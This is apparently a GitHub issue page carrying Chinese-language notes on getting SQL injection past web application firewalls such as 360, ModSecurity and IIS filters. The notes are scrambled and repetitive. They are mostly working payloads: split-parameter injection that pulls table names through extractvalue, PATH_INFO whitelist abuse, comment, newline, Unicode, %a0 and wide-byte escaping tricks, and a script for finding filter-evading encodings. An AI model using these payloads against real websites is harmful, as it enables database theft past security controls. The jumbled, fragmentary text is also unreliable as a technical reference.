You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
*/from information_schema.table_constraints where constraint_schema=database())))#
最后拼接后的语句
select * from admin where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*' and password = '*/from information_schema.table_constraints where constraint_schema=database())))#'
select * from admin where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name) from information_schema.table_constraints where constraint_schema=database())))
由于是分割提交,后进行拼接,每个提交都没有触发正则中的过滤,所以成功绕过
通过白名单利用 PATH_INFO 绕过
白名单函数
function webscan_white($webscan_white_name,$webscan_white_url_t=array()) {
$url_path=$_SERVER['PHP_SELF'];
$url_var=$_SERVER['QUERY_STRING'];
if (preg_match("/".$webscan_white_name."/is",$url_path)==1) {
return false;
}
...
}
and 1=2 u%n%i%o%n s%e%l%e%ct 1,username,3,4,5 f%r%o%m admin
!
or!!!1=1
[]
select 1,2,3,4 from dual where id =1[]union[]select[]1,2,3,4 from[]
Unicode 编码绕过
IIS 对 Unicode 编码是可以解析的,即 s%u0065lect 会被解析为 select
可以利用 Python 写个小脚本,跑出可以绕过的那个 Unicode 编码
for i in range(65536):
result = hex(i).replace('0x','')
if len(result) < 4:
c = 4 - len(result)
b = '0' * c
zz = b + hex(i).replace('0x', '')
else:
zz = hex(i).replace('0x', '')
id=1 union select%23☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺%0auser(),version()
%23%0a 和 /*!关键词*/
id=1 union%23%0aselect/*!USER*/(),/*!DATABASE*/()
%23 被拦截的话,还可以在中间添加 %0d 或者改用 -- 即 %2d%2d%0a
id=1 union%23%0d%0aselect username from users%23
id=1 union%2d%2d%0aselect username from users%23
id=1 union%2d%2d%0d%0aselect username from users%23
%0a 放在 select 和 all 之间
id=1 union/*!50000select%0aall*/username from users%23
id=1 union/*!50000select%0adistinct*/username from users%23
id=1 union/*!50000select%0adistinctrow*/username from users%23
id=1 union%23%0d%0aselect username from users%23
id=1 union%2d%2d%0aselect username from users%23
id=1 union%2d%2d%0d%0aselect username from users%23
emoji 图标
%23emoji图标%0a
%0a 放在 select 和 all 之间
id=1 union/*!50000select%0aall*/username from users%23
id=1 union/*!50000select%0adistinct*/username from users%23
id=1 union/*!50000select%0adistinctrow*/username from users%23
0x01 SQL注入
base64
加密的参数注入base64
即可实现注入Sqlmap
可以利用tamper
脚本 --base64encode.py
in
注入SQL
语句select * from
memberwhere id = $_GET['id']
in
注入的SQL
语句select * from
memberwhere id in ($_GET['id'])
(
闭合,即http://www.xxx.com/?id=1)
where like '%$id%'
URL
重写的一种方式,隐藏传递的参数名1.php?id=111
伪静态后成为1.php/id/111.html
Sqlmap
,目标地址参数后面加上*
,即/view/cid/id/625*
,即可实现注入URL
的GET
注入中%20,%23,+
等都可以用,但是伪静态不行,会被直接传递到到URL
中,所以用/**/
这个注释符号表示空格WAF
绕过360
/**/
在构造的查询语句中插入注释来绕过对空格的依赖或关键字的识别#
、--
等用于终结语句的查询MySQL
才会正常识别内联注入中的内容/*!code*/
中的code
Unicode
编码绕过Unicode
有所谓的标准编码和非标准编码,如果我们用的UTF-8
为标准编码,那么西欧语系使用的就是非标准编码%D6%5C%27
,而%D6%5C
构成了一个宽字节,吃掉了\
,单引号就未被过滤,绕过True
也可能False
,关键在于Unicode
编码种类太多,基于黑名单的WAF
也无法全部处理insert
等价绕过INSERT\\s+INTO.+?VALUES
insert into user (user, pass) values ('admin', '123456')
values
即可绕过Bypass Payload
HPF
(HTTP Parameter Fragment
)绕过HTTP
分割注入,将正则在参数之间进行了分割,结果到了数据库执行查询时,合并了语句HTTP
分割注入user
处填pass
处填/* */
注释掉了中间的' and password = '
,然后又用#
注释掉了后面的单引号PATH_INFO
绕过webscan_white
如果返回False
,就不会进行正则过滤,从而成功绕过$webscan_white_name
的内容,在webscan_cache.php
中False
成立只需要$_SERVER['PHP_SELF']
中匹配到admin|\/dede\/|\/install\/
PHP_SELF
PHP_SELF
是PHP
自己实现的一个$SERVER
变量,是相对于文档根目录而言的,指的就是当前的页面地址http://www.xxx.com/path/index.php
PHP_SELF
就是/path/index.php
PATH_INFO
URL
中,在脚本标识
之后、查询参数?
之前的部分http://www.xxx.com/path/index.php/view
PATH_INFO
就是/view
PHP_SELF
就是/path/index.php/view
PHP_SELF
有一部分是可控的PHP_SELF
中添加admin
路径即可被认为是白名单,不会进行正则过滤,成功绕过MySQL
特性绕过MySQL
的特性 -- 为了区分MySQL
中(关键字和保留字)与普通字符而引入的符号@
:利用MySQL
的特性 --@
用于变量定义如@var_name
,一个@
表示用户定义,@@
表示系统变量@
或者@1=@
替换空格ModSecurity
防火墙ModSecurity
使用正则表达式对Input SQL
进行匹配检测,对select
、union
在敏感位置的出现都进行了拦截,但是ModSecurtiy
有一个特点,它会对输入进行规范化,规范化的本意是用来防御基于编码格式、解析顺序
的绕过ModSecurity
可以防御这种形式的绕过ModSecurity
的检测下,这时候再利用规则就可以很容易的防范注入ModSecurity
对注释的理解和MySQL
的解析引擎理解不同,即ModSecurtiy
对注释的理解Bypass Payload
ModSecurity
对注释的理解,语句成为SQL
注入绕过Payload
分成几段,写在不同的参数中,最后组合成完整的Payload
,类似HPF
Bypass Payload
MySQL
的解析引擎来说,它会自动去除、转换这些连接控制符,从而变成MySQL
特有的内联注释%0b
分隔符绕过%0b
代替MSSQL
MSSQL+ASPX
理论上用%00-%0a
都可以替换空格%
、!
、[]
绕过%
!
[]
Unicode
编码绕过IIS
对Unicode
编码是可以解析的,即s%u0065lect
会被解析为select
Python
写个小脚本,跑出可以绕过的那个Unicode
编码MySQL
%a0
绕过MySQL
中%a0
代表空白符,可以代替空格%a0
是扩展字符里面的,当%a0
加上另一个字符,可能在Web
层面会解析成其他结果%a0
和s
组合成的%a0s
在Web
层解析成了乱码,但是在MySQL
层解析时,%a0
又会被解析成空白符,就这样成功绕过()
绕过MySQL
中,括号是用来包围子查询的,因此,任何可以计算出结果的语句,都可以用括号包围起来,而括号的两端,可以没有多余的空格,即用括号绕过空格URL
编码绕过参数名
进行URL
编码参数值
进行URL
编码参数值
进行URL
双重编码MySQL
在执行语句时,注释会忽略掉当前行后面的所有语句,但是即使忽略了注释后面的语句,遇到换行的话还是会紧接注释之前的语句继续执行%23%0a
--%23
注释%0a
换行Bypass Payload
%23%0a
变形,在其中加入Emoji
绕过%23%0a
和/*!关键词*/
%23
被拦截的话,还可以在中间添加%0d
或者改用--
即%2d%2d%0a
%0a
放在select
和all
之间WAF
总结URL
编码绕过%20
、单引号%27
URL
编码即可绕过URL
两次编码绕过十六进制
编码绕过十六进制
对某些敏感参数、方法进行编码来绕过检测Unicode
编码绕过Unicode
编码绕过\'
,即%5c%27
,%5c
和前面的%d6
组合成一个宽字节,吃掉了\
,导致单引号未被过滤,成功绕过,即用%d6%27
来代替单引号True
也可能为False
/**/
在构造的语句中插入注释来规避对空格的依赖或关键字的识别,#
、--
用于终结语句的查询/**/
之中可以连用,即/**//**/
/!content/
只有MySQL
才识别,使用的更多,可以内嵌/**/
使用substring()
和substr()
无法使用时and
和or
可以使用&&
和||
=
不能使用,可以使用<>
MySQL
中的extractvalue
和updatexml
+
-
`反引号`
~
!
@`content`
.1
%
%23%0a
%23%0d%0a
%2d%2d%0a
(%0d
0a
换行)emoji
图标%0a
放在select
和all
之间HPP
HPF
HTTP
参数分割,不同的参数之间进行语句分割结果到了数据库执行查询时再合并语句The text was updated successfully, but these errors were encountered: